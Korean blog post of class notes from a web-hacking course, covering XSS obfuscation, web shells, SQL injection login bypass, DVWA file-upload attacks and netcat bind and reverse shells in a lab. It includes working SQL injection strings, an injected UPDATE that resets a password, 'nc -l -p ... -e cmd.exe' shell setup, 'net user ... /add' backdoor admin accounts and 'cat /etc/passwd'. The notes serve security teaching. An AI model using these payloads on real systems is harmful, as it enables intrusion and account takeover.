보안/웹 보안

0906 웹해킹 3일차(Application Security)

Bordercolli 2022. 9. 6. 17:27
728x90

웹 해킹 보안 3일차

복습

XSS(cross site scripting)

스크립트를 웹 사이트에 업로드하고, 방문한 웹 브라우저에서 스크립트를 실행하게 되면, 공격자가 원하는 행위가 발생한다.

그래서 웹 브라우저에서 실행한다는 얘기는 웹 브라우저에서 공격한다, 타겟은 웹 브라우저

웹 브라우저가 타겟인데 웹 브라우저를 웹 서버에 올려놓기 때문에

, 타겟이 웹 브라우저이지만 직접 공격하는 것이 아니고 웹 서버를 경유해서 공격하는 기법

스크립트를 평문으로 작성하면 악성코드를 유포하는 URL, 악성코드 이름 등이 노출됨.

그래서 공격자들은 스크립트를 난독화를 한다. 그래서 거의 난독화하는 비율이 90%가 넘는다.

 

난독화

스크립트의 내용을 숨기기 위해서 난독화를 한다. 난독화를 하려면 복잡한 함수와 생소한 인코딩을 적용한다. 사람은 읽기 어렵지만 웹 브라우저는 읽고 실행가능하다.

그런 상황이라서 난독화된 스크립트를 난독화를 해제해서 악성코드 유포지의 url과 악성코드 이름을 파악해서 방화벽에서 차단하도록 등록한다.

그러면 회사직원들은 악성코드를 다운로드 받지 않을 수 있다.

 

웹 쉘

: 원래는 관리자가 사용하는 것, 관리자가 sshftp를 이용하지 않고, 웹 서버를 관리하기 위한 도구, 심지어 웹 브라우저로 웹 서버를 관리하는 도구, 심지어 이게 gui로 설정, 변경이 가능하다. 웹 서버 관리자가 컴맹이어도 관리할 수 있는 그런 정도의 도구

 

보안의 적은 편리함. 이는 취약하다.공격자들이 웹 쉘을 웹 서버에 업로드해서 원격으로 조종

웹쉘이 웹 서버에 올라가면, 해커는 해당 웹 쉘이 자신의 것이 되기 때문에 악성코드를 심는 등 다양한 활동이 가능해진다.

웹 쉘을 왜 못막는가? (18)

웹 쉘이 http트래픽인데, http트래픽에 웹 쉘이 첨부돼서 온다. 방화벽에서 막는 것은 아니고,

serever farm: 서버들이 모여 있는 곳,

 

공격자가 웹 쉘을 올리면, 웹 쉘은 백도어처럼 동작을 하는데, 이렇게 해서 다른 쉘에 접근이 가능하다.

 

웹 쉘의 확장자 목록

 

 

 

정정당당한 해킹은 없다. 해킹에는 반칙이 없다. 공격하는 애들은 치사한, 남이 해킹 다 해놓은 서버에 숟가락만 얹는 그러한 것들도 많다.

 

웹 쉘 대응 방법

웹 쉘을 업로드하지 못하게 해야한다.

업로드된 웹 쉘은 동작하지 못하도록 해야 한다. 압축해서 보관, 읽기만 가능한 스토리지에 보관한다.

찾을 수 없게 경로를 숨긴다. 업로드한 웹 쉘의 위치를 찾을 수 없도록 위치 경로를 알려주지 않거나, 파일 이름을 바꾸는 방법

웹 쉘 보안을 위한 대응 솔루션을 배치

 

웹 쉘의 content-typetext/plain이지만, proxy도구(burp suite)를 이용해서 image/ jpeg라고 속인다.

클라이언트가 보내는 정보를 그대로 신뢰하는 경우, 실제로 들어있는 파일은 다른 것(웹쉘).

ex) 택배물품을 보내는데, 책이라고 해놓고 안에 폭탄인 경우

 

Base64를 이용하여 비밀번호를 인코딩하는 경우 ISMS-P 인증심사에서 결함으로 판단. (안전하지 않음.)

 

웹 쉘 실습

http://192.168.5.141/uploadfile/browser.jsp?sort=1&dir=C%3A%5CWebApps%5CJspSrc

..을 누르면 상위 디렉토리로 이동

index.jsp 파일이 보이면 여기가 웹 서버 루트

 

php는 웹 쉘폴더

 

Deface실습: 웹 사이트의 첫 페이지를 바꾸는 공격

1. https://pixabay.com/ 이미지를 무료로 다운받을 수 있으며, 상업용으로 가능하고 저작권에 제한을 받지 않는다.

 

2. 해커로 거색한 다음, 적당한 이미지를 다운로드하고 이름은 haker.jpg로 변경 (다른 사진으로 해도 됨)

3.

 

SQL인젝션 실습

첫 페이지에서만 Login bypass공격이 가능함

IDpw를 넣으면 select문이 만들어짐 DB에 전달됨.

로그인 select문 예상: select id, pw from ???? where id=’ ‘ and pw= ’ ‘;

 

1단계) id를 알아내려면? webmaster라는 계정이 있음을 알 수 있음.

아이디에다가 webmaster을 넣고, pw에다가 injection을 삽입

SQL인젝션

‘ or 1=1 --

‘ or 2>1 --

‘ or ’a‘=’a‘ --

 

id부분에 넣어도 된다.

SELECT ID,PW from ???? where id= ‘or 1=1 --’ and pw=’ ‘;

 

왜 자꾸 superman으로 로그인되는 걸ᄁᆞ?

user table의 맨 위에 있는 계정이 superman이기 때문에

정확하게 지정되지 않는 경우에 테이블의 맨 위의 레코드(row)으로 매칭됨,(DB속성)

가장 위에 있는 레코드는 모니터링 용 계정으로 설정해야 한다. ex) admin을 맨 위에 배치 실제 권한은 없고 모니터링되는 계정

 

webmaster 계정으로 반드시 로그인 하려면?

SELECT ID,PW from ???? where id= ‘webmaster’ and 1=1 --’ and pw=’ ‘;

true and true는 사족(뱀의 다리, 필요 없다는 의미) and true는 제거가능

 

SELECT ID,PW from ???? where id= ‘webmaster’ --’ and pw=’ ‘; //패스워드 부분을 주서처리하는 방법

 

실제 사이트 공격하면 안됨

 

Blind SQL Injection

DB구조 등을 모르는 상태에서 sql인젝션을 하는 것

- SQLl문이 거짓이 되도록 만들어서 에러메시지가 발생됨. DB이름, 테이블 이름, 컬럼 이름 등을 알아내는 것

일부 A부터 Zᄁᆞ지, 0부터 1ᄁᆞ지 대입을 해봄 결과가 하나 다른 것이 있다면, 그것이 정답

 

실습) argo club homepage

‘ having 1=1 --

having을 사용하려면 앞에 group by가 있어야 한다

 

SELECT ID,PW from ???? where id= ‘having 1=1 --’ and pw=’ ‘;

#말이 안되기 때문에 에러가 발생한다.

http status 500이 나와서 서버 내부에 문제가 있음을 알려준다.

 

tbl_ 테이블명

위 정확한 SQL을 예상해보면,

SELECT userid, passwd from tbl_member where userid= ‘ ’ and passwd=’ ‘;

 

webmaster의 패스워드를 1234로 바꾸려면? 알아내는것보다 바꾸는 것이 더 쉽다.

바꾸러면 update문 사용한다

update 테이블명 set 컬럼=’바꿀 내용‘ where ’바꿀대상‘;

select userid, passwd from tbl_member where userid=’; update tbl_member set passwd=’1234‘ where userid=’webmaster‘; --’ and passwd=’ ‘

 

#아예 injection코드를 넣어버려서 비밀번호를 바꿀 수 있다.

 

웹 쉘을 실습하려면 실시간 감시를 꺼야한다.

윈도우 보안 센터에서 위협 감지

 

DVWA실습(우분투_DVWA를 켜고 웹 브라우저로 접속)

upload메뉴를 클릭

1단계)이미지 업로드: pixabay.com에서 다운로드한 작은 이미지를 업로드 해보기

../../hackable/uploads/flower.jpg succesfully uploaded!

../ 는 한 수준 위로 올라가라는 의미

 

두 수준 위로 올라가서 (식제) 이미지 경로를 붙여 넣는다.

../../hackable/uploads/flower.jpg

웹 쉘 실행위치를 찾아서 불러오기 연습

 

2단계) qsd-backdoor.php 파일 업로드 하기 & 웹 쉘 실행ᄁᆞ지

execute shell command에 리눅스 명령을 넣으면 된다.: pwd cat /etc/passwd, ls l, cat /etc/apache2/apache2.conf

 

500은 우분투에서 악성 스크립트 차단 중이다.

 

2. medium

b374k를 업로드하려면? 업로드 안됨...이미지가 아니라고 한다. 어떻게 해야할ᄁᆞ?

proxy를 이용해서 어ᄄᅠᆫ 부분을 수정?? plain/ textimage/jpeg로 수정한다.

 

업로드는 웹쉘만 있는 것은 아님

직접 실행 파일을 업로드 하는 것: 세션을 직접 연결하는 것 원격 조종을 해서 시스템에 영향을 주는 행위

 

대표적인 도구: RAT(remote access trojan의 줄임말 ) vimtim에 몰래 업로드하고 원격으로 연결하는 방법

ex) Netcat: 네트워크를 몰래 다니는 고양이라는 의미

고양이가 지나가면 발소리가 안들리듯이, 네트워크를 몰래 다니는 고양이다 라는 의미: nc.exe(윈도우용), nc(리눅스용) 두 개가 서로 문제 없이 통신이 가능하다.

 

윈도우비번: hp12345

 

<방법 두 가지>

1) 백도어 방식

공격자가 피해자 호스트에 접근하는데, 피해자 호스트에 백도어 프로그램이 가동 중이다.이 백도어에 공격자가 접근을 한다. 그래서 피해자 호스트에 백도어를 실행한다. (방법: 1. 미리 피해자 서버 해킹(관리자 비번을 알아낸다든지)해서 공격자가 피해자 호스트에 접근해서 연결, ) 이러면 공격자는 클라이언트가 되고, 피해자는 서버가 된다. (우분투를 공격자라고 가정하고 실습한다. ) 서버쪽에서 세팅해야지 접근이 가능하다.

* 윈도우에 작성해야할 것

cmd> cd \

cmd> wine l p 8000 e cmd.exe //원래이름은 nc.exe 인데 이름은 wine.exe로 변경해놓음

 

시작> 관리도구> 컴퓨터 관리> 로컬 사용자 및 그룹 > 사용자

여기 들어가면 확인할 수 있음.

 

우분투: 클라이언트: 공격자

 

* 우분투에 작성해야 할 것

whoami

net user blackpink icecream /add

net user aspea princess /add

net localgroup administrators blackpink /add

상태)

윈도우 2003: 서버-피해자

> nc l p 80000 e cmd.exe

server: 8000번 포트를 열고 기다림(-l: listening)

vimtim: -e(binary를 제공), cmd.exe의 권한을 넘겨주겠다.

 

2)reverse방식(trojan horse방식, reverse connection)

 

- 우분투: 공격자: 서버

윈도우2003: 피해자: 클라이언트

 

클라이언트 서버 위치가 바뀌어, 공격자가 포트를 열고 기다린다. rat이 서버에 접속을 한다.

왜 이런 방식을 사용하는가? 백도어는 공격자와 피해자 사이에 방화벽이 존재한다. 방화벽이 중간에서 차단을 한다. 실제로는 백도어 근처도 못가고 끊긴다. 그래서 외부에서 포트에 접속을 할 수 없다. 그래서 백도어는 현재 거의 사용되지 않는다. 리버스는 내부망에서 외부망(인터넷)으로 나가는 트래픽을 막지는 않는다. 막으면 인터넷이 안되기 때문에 그래서 rat을 이용해서 내부망에서 외부망으로 연결하는 방식을 사용한다.

< 우분투 세팅 >

$nc l p 5678

 

netcat명령어 -> nc